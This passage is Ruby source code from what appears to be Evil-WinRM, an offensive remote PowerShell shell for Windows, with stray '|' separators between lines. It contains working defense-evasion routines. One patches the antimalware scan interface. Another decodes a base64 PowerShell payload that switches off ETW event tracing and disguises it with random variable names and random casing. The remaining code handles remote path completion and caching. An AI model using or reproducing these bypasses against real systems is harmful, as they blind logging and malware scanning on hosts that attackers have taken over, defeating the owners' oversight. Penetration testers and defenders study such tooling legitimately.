if !output.output.nil? && !output.output.empty? && !output.output.chomp.empty?
|
|
outputs << output.output
|
|
end
|
|
current_jump += 1
|
|
wait_for(sleep_for)
|
|
end
|
|
else
|
|
output = shell.run(powershell_script).output
|
|
if !output.nil? && !output.empty?
|
|
outputs << output
|
|
end
|
|
end
|
|
outputs
|
|
end
|
|
|
|
def load_Bypass_4MSI(shell)
|
|
bypass = get_Bypass_4MSI
|
|
print_message('Patching 4MSI, please be patient...', TYPE_INFO, true)
|
|
outputs = load_powershell(shell, bypass, 2)
|
|
if outputs.empty?
|
|
print_message('[+] Success!', TYPE_SUCCESS, false)
|
|
else
|
|
puts(outputs.join("\n"))
|
|
end
|
|
end
|
|
|
|
def load_ETW_patch(shell)
|
|
print_message('Patching ETW, please be patient ..', TYPE_INFO, true)
|
|
patch_template = 'W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkV2l0aFBhcnRpYWxOYW1lKCIiKzw+PFN5c3RlbS5Db3JlPD48KyIiKS5HZXRUeXBlKCJTeXMiKzw+PHRlbS5EaWFnPD48KyJub3N0aWNzLkUiKzw+PHZlbnRpbmcuRXZlbnQ8PjwrIlByb3ZpZGVyIikuR2V0RmllbGQoIiIrPD48bV88PjwrImVuYWJsZWQiLCJOb25QdWJsaWMsSW5zdGFuY2UiKS5TZXRWYWx1ZShbUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCJTeXMiKzw+PHRlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uVHJhY2luZy5QU0V0dzw+PCsiTG9nIis8PjxQcm92aWRlcjw+PCsiIikuR2V0RmllbGQoIiIrPD48ZXR3UHJvdmlkZXI8PjwrIiIsIk5vblB1YmxpYyxTdGF0aWMiKS5HZXRWYWx1ZSg+PjxWQVIxPj48KSwwKQ=='
|
|
result = Base64.decode64(patch_template)
|
|
result = replace_func_var_name(result, "VAR1", "$#{random_string((7..17).to_a.sample)}")
|
|
result = replace_with_string_scan(result)
|
|
result = rand_casing_keywords(result)
|
|
outputs = load_powershell(shell, result)
|
|
if outputs.empty?
|
|
print_message('[+] Success!', TYPE_SUCCESS, false)
|
|
else
|
|
puts("Error #{outputs.join("\n")}")
|
|
end
|
|
end
|
|
|
|
def extract_filename(path)
|
|
path = path || ""
|
|
path = path.gsub("\\", '/')
|
|
path.split('/')[-1]
|
|
end
|
|
|
|
def get_paths_from_command(command, pwd)
|
|
parts = Shellwords.shellsplit(command)
|
|
parts.delete_at(0)
|
|
return parts
|
|
end
|
|
|
|
def get_from_cache(n_path)
|
|
return if n_path.nil? || n_path.empty?
|
|
|
|
a_path = normalize_path(n_path)
|
|
current_time = Time.now.to_i
|
|
current_vals = @directories[a_path]
|
|
result = []
|
|
unless current_vals.nil?
|
|
is_valid = current_vals['time'] > current_time - @cache_ttl
|
|
result = current_vals['files'] if is_valid
|
|
@directories.delete(a_path) unless is_valid
|
|
end
|
|
|
|
result
|
|
end
|
|
|
|
def set_cache(n_path, paths)
|
|
return if n_path.nil? || n_path.empty?
|
|
|
|
a_path = normalize_path(n_path)
|
|
current_time = Time.now.to_i
|
|
@directories[a_path] = { 'time' => current_time, 'files' => paths }
|
|
end
|
|
|
|
def normalize_path(str)
|
|
Regexp.escape(str.to_s.gsub('\\', '/'))
|
|
end
|
|
|
|
def get_dir_parts(n_path)
|
|
return [n_path, ''] unless (n_path[-1] =~ %r{/$}).nil?
|
|
|
|
i_last = n_path.rindex('/')
|
|
return ['./', n_path] if i_last.nil?
|
|
|
|
next_i = i_last + 1
|
|
amount = n_path.length - next_i
|
|
|
|
[n_path[0, i_last + 1], n_path[next_i, amount]]
|
|
end
|
|
|
|
def complete_path(str, shell)
|
|
return unless @completion_enabled
|
|
return unless !str.empty? && !(str =~ %r{^(\./|[a-z,A-Z]:|\.\./|~/|/)*}i).nil?
|
|
|
|
n_path = str
|
|
parts = get_dir_parts(n_path)
|
|
dir_p = parts[0]
|
|
nam_p = parts[1]
|
|
result = []
|
|
result = get_from_cache(dir_p) unless dir_p =~ %r{^(\./|\.\./|~|/)}
|
|
|
|
if result.nil? || result.empty?
|
|
target_dir = dir_p
|
|
pscmd = "$a=@();$(ls '#{target_dir}*' -ErrorAction SilentlyContinue -Force |Foreach-Object { if((Get-Item $_.FullName -ErrorAction SilentlyContinue) -is [System.IO.DirectoryInfo] ){ $a += \"$($_.FullName.Replace('\\','/'))/\"}else{ $a += \"$($_.FullName.Replace('\\', '/'))\" } });$a += \"$($(Resolve-Path -Path '#{target_dir}').Path.Replace('\\','/'))\";$a"
|
|
|
|
output = shell.run(pscmd).output
|
|
s = output.to_s.gsub(/\r/, '').split(/\n/)
|
|
|
|
dir_p = s.pop
|
|
set_cache(dir_p, s)
|
|
result = s
|
|
end
|
|
dir_p += '/' unless dir_p[-1] == '/'
|
|
path_grep = normalize_path(dir_p + nam_p)
|
|
path_grep = path_grep.chop if !path_grep.empty? && path_grep[0] == '"'
|
|
filtered = result.grep(/^#{path_grep}/i)
|
|
filtered.collect { |x| "\"#{x}\"" }
|
|
end
|
|
end
|
|
|
|
# Class to create array (tokenize) from a string
|
|
class String
|
|
def tokenize
|
|
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/)
|
|
.reject(&:empty?)
|
|
.map { |s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/, '') }
|
|
end
|
|
end
|
|
|
|
# Execution
|
|
e = EvilWinRM.new
|
|
e.main
|